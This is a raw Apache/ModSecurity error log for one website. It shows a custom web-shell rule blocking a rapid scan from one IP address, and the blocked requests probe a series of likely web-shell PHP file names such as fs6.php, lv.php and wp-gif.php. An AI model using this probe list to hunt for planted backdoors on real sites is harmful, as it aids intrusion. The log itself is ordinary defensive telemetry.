[Mon Nov 17 05:06:34.428139 2025] [:error] [pid 39451:tid 39529] [client 48.218.71.119:7077] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4yps5d.php"] [unique_id "aRo82ufgkqXTS0SO3fBfkgAAAJU"]
[Mon Nov 17 05:06:35.296255 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:7043] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4yps5d.php"] [unique_id "aRo824ZRrh1pcrdcLB_LUgAAAM8"]
[Mon Nov 17 05:06:35.956940 2025] [:error] [pid 39451:tid 39527] [client 48.218.71.119:7047] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "aRo82-fgkqXTS0SO3fBflAAAAJM"]
[Mon Nov 17 05:06:37.599427 2025] [:error] [pid 39449:tid 39455] [client 48.218.71.119:6985] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "aRo83aUCymTA3MDfzLODEAAAAAE"]
[Mon Nov 17 05:06:39.024303 2025] [:error] [pid 39451:tid 39520] [client 48.218.71.119:7103] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "aRo83-fgkqXTS0SO3fBfmQAAAIw"]
[Mon Nov 17 05:06:39.437985 2025] [:error] [pid 39451:tid 39522] [client 48.218.71.119:7158] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "aRo83-fgkqXTS0SO3fBfmwAAAI4"]
[Mon Nov 17 05:06:40.158935 2025] [:error] [pid 40548:tid 40554] [client 48.218.71.119:7116] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aRo84AM_PykfYnxh-j-higAAAQQ"]
[Mon Nov 17 05:06:40.913860 2025] [:error] [pid 39450:tid 39504] [client 48.218.71.119:7143] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aRo84OoZqPB4_7vNEDSKpgAAAFc"]
[Mon Nov 17 05:06:41.704122 2025] [:error] [pid 39450:tid 39490] [client 48.218.71.119:7130] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aRo84eoZqPB4_7vNEDSKqgAAAEk"]
[Mon Nov 17 05:06:42.073683 2025] [:error] [pid 39451:tid 39508] [client 48.218.71.119:7165] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aRo84ufgkqXTS0SO3fBfowAAAIA"]
[Mon Nov 17 05:06:42.590993 2025] [:error] [pid 39449:tid 39461] [client 48.218.71.119:7157] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/habhan.php"] [unique_id "aRo84qUCymTA3MDfzLODFQAAAAc"]
[Mon Nov 17 05:06:43.121168 2025] [:error] [pid 40548:tid 40559] [client 48.218.71.119:6999] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/habhan.php"] [unique_id "aRo84wM_PykfYnxh-j-hjAAAAQk"]
[Mon Nov 17 05:06:43.855996 2025] [:error] [pid 39537:tid 39540] [client 48.218.71.119:7132] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/habhan.php"] [unique_id "aRo844ZRrh1pcrdcLB_LYwAAAMA"]
[Mon Nov 17 05:06:44.691169 2025] [:error] [pid 39450:tid 39505] [client 48.218.71.119:7097] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/habhan.php"] [unique_id "aRo85OoZqPB4_7vNEDSKrwAAAFg"]
[Mon Nov 17 05:06:45.208056 2025] [:error] [pid 39451:tid 39516] [client 48.218.71.119:7045] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aRo85efgkqXTS0SO3fBfpQAAAIg"]
[Mon Nov 17 05:06:46.029306 2025] [:error] [pid 39451:tid 39527] [client 48.218.71.119:7134] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aRo85ufgkqXTS0SO3fBfrgAAAJM"]
[Mon Nov 17 05:06:47.320890 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:7149] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aRo854ZRrh1pcrdcLB_LawAAAM8"]
[Mon Nov 17 05:06:48.275245 2025] [:error] [pid 39537:tid 39561] [client 48.218.71.119:7128] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aRo86IZRrh1pcrdcLB_LbAAAANU"]
[Mon Nov 17 05:06:49.472238 2025] [:error] [pid 39449:tid 39460] [client 48.218.71.119:7089] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bi1f.php"] [unique_id "aRo86aUCymTA3MDfzLODGAAAAAY"]
[Mon Nov 17 05:06:50.379354 2025] [:error] [pid 39449:tid 39467] [client 48.218.71.119:7113] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bi1f.php"] [unique_id "aRo86qUCymTA3MDfzLODGQAAAA0"]
[Mon Nov 17 05:06:51.757805 2025] [:error] [pid 40548:tid 40559] [client 48.218.71.119:7055] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bi1f.php"] [unique_id "aRo86wM_PykfYnxh-j-hmQAAAQk"]
[Mon Nov 17 05:06:53.068977 2025] [:error] [pid 40548:tid 40552] [client 48.218.71.119:7140] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bi1f.php"] [unique_id "aRo87QM_PykfYnxh-j-hmwAAAQI"]
[Mon Nov 17 05:06:53.720764 2025] [:error] [pid 39537:tid 39540] [client 48.218.71.119:7053] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aRo87YZRrh1pcrdcLB_LdQAAAMA"]
[Mon Nov 17 05:06:54.198168 2025] [:error] [pid 39450:tid 39484] [client 48.218.71.119:7105] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aRo87uoZqPB4_7vNEDSKtAAAAEM"]
[Mon Nov 17 05:06:54.859242 2025] [:error] [pid 39449:tid 39474] [client 48.218.71.119:7120] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aRo87qUCymTA3MDfzLODHgAAABQ"]
[Mon Nov 17 05:06:55.328863 2025] [:error] [pid 39449:tid 39470] [client 48.218.71.119:7044] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aRo876UCymTA3MDfzLODHwAAABA"]
[Mon Nov 17 05:06:56.088258 2025] [:error] [pid 39450:tid 39501] [client 48.218.71.119:7152] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aRo88OoZqPB4_7vNEDSKtgAAAFQ"]
[Mon Nov 17 05:06:56.773538 2025] [:error] [pid 39451:tid 39522] [client 48.218.71.119:7060] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aRo88OfgkqXTS0SO3fBf4wAAAI4"]
[Mon Nov 17 05:06:57.603425 2025] [:error] [pid 39451:tid 39532] [client 48.218.71.119:6979] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aRo88efgkqXTS0SO3fBf6gAAAJg"]
[Mon Nov 17 05:06:58.232939 2025] [:error] [pid 39451:tid 39516] [client 48.218.71.119:7082] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aRo88ufgkqXTS0SO3fBf8AAAAIg"]
[Mon Nov 17 05:06:59.219724 2025] [:error] [pid 39449:tid 39463] [client 48.218.71.119:6993] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aRo886UCymTA3MDfzLODIAAAAAk"]
[Mon Nov 17 05:06:59.699264 2025] [:error] [pid 40548:tid 40558] [client 48.218.71.119:7049] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aRo88wM_PykfYnxh-j-hnQAAAQg"]
[Mon Nov 17 05:07:00.655468 2025] [:error] [pid 40548:tid 40572] [client 48.218.71.119:7104] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aRo89AM_PykfYnxh-j-hnwAAARY"]
[Mon Nov 17 05:07:01.035696 2025] [:error] [pid 39537:tid 39560] [client 48.218.71.119:7086] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aRo89YZRrh1pcrdcLB_LeQAAANQ"]
[Mon Nov 17 05:07:01.733410 2025] [:error] [pid 39450:tid 39485] [client 48.218.71.119:7099] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aRo89eoZqPB4_7vNEDSKuQAAAEQ"]
[Mon Nov 17 05:07:03.225798 2025] [:error] [pid 40548:tid 40570] [client 48.218.71.119:6976] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aRo89wM_PykfYnxh-j-howAAARQ"]
[Mon Nov 17 05:07:03.799655 2025] [:error] [pid 40548:tid 40563] [client 48.218.71.119:7164] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aRo89wM_PykfYnxh-j-hpAAAAQ0"]
[Mon Nov 17 05:07:04.744250 2025] [:error] [pid 39537:tid 39554] [client 48.218.71.119:7142] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aRo8-IZRrh1pcrdcLB_LfAAAAM4"]
[Mon Nov 17 05:07:05.299494 2025] [:error] [pid 40548:tid 40551] [client 48.218.71.119:7005] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aRo8-QM_PykfYnxh-j-hpgAAAQE"]
[Mon Nov 17 05:07:05.715020 2025] [:error] [pid 39537:tid 39563] [client 48.218.71.119:7076] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aRo8-YZRrh1pcrdcLB_LgAAAANc"]
[Mon Nov 17 05:07:06.263269 2025] [:error] [pid 39451:tid 39529] [client 48.218.71.119:7007] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aRo8-ufgkqXTS0SO3fBgIQAAAJU"]
[Mon Nov 17 05:07:06.671113 2025] [:error] [pid 39537:tid 39545] [client 48.218.71.119:7009] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aRo8-oZRrh1pcrdcLB_LgwAAAMU"]
[Mon Nov 17 05:07:07.317349 2025] [:error] [pid 39449:tid 39465] [client 48.218.71.119:7059] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "aRo8-6UCymTA3MDfzLODIgAAAAs"]
[Mon Nov 17 05:07:07.742168 2025] [:error] [pid 39451:tid 39523] [client 48.218.71.119:7056] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "aRo8--fgkqXTS0SO3fBgMAAAAI8"]
[Mon Nov 17 05:07:08.184687 2025] [:error] [pid 39449:tid 39455] [client 48.218.71.119:7125] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "aRo8_KUCymTA3MDfzLODJQAAAAE"]
[Mon Nov 17 05:07:08.778765 2025] [:error] [pid 40548:tid 40553] [client 48.218.71.119:7107] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "aRo8_AM_PykfYnxh-j-hqwAAAQM"]
[Mon Nov 17 05:07:09.549744 2025] [:error] [pid 39449:tid 39456] [client 48.218.71.119:6986] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aRo8_aUCymTA3MDfzLODJwAAAAI"]
[Mon Nov 17 05:07:10.478372 2025] [:error] [pid 39450:tid 39490] [client 48.218.71.119:7098] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aRo8_uoZqPB4_7vNEDSKvAAAAEk"]
[Mon Nov 17 05:07:15.122564 2025] [:error] [pid 40548:tid 40557] [client 48.218.71.119:7072] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gif.php"] [unique_id "aRo9AwM_PykfYnxh-j-h4QAAAQc"]
[Mon Nov 17 05:07:15.458436 2025] [:error] [pid 40548:tid 40571] [client 48.218.71.119:7127] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gif.php"] [unique_id "aRo9AwM_PykfYnxh-j-h4wAAARU"]
[Mon Nov 17 05:07:15.922506 2025] [:error] [pid 39450:tid 39495] [client 48.218.71.119:7108] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gif.php"] [unique_id "aRo9A-oZqPB4_7vNEDSK1QAAAE4"]
[Mon Nov 17 05:07:16.359743 2025] [:error] [pid 39449:tid 39471] [client 48.218.71.119:7146] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gif.php"] [unique_id "aRo9BKUCymTA3MDfzLODMwAAABE"]
[Mon Nov 17 05:07:16.708744 2025] [:error] [pid 39449:tid 39467] [client 48.218.71.119:7144] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aRo9BKUCymTA3MDfzLODNAAAAA0"]
[Mon Nov 17 05:07:17.071968 2025] [:error] [pid 39450:tid 39487] [client 48.218.71.119:7131] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aRo9BeoZqPB4_7vNEDSK2wAAAEY"]
[Mon Nov 17 05:07:17.605062 2025] [:error] [pid 39449:tid 39468] [client 48.218.71.119:7148] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aRo9BaUCymTA3MDfzLODNgAAAA4"]
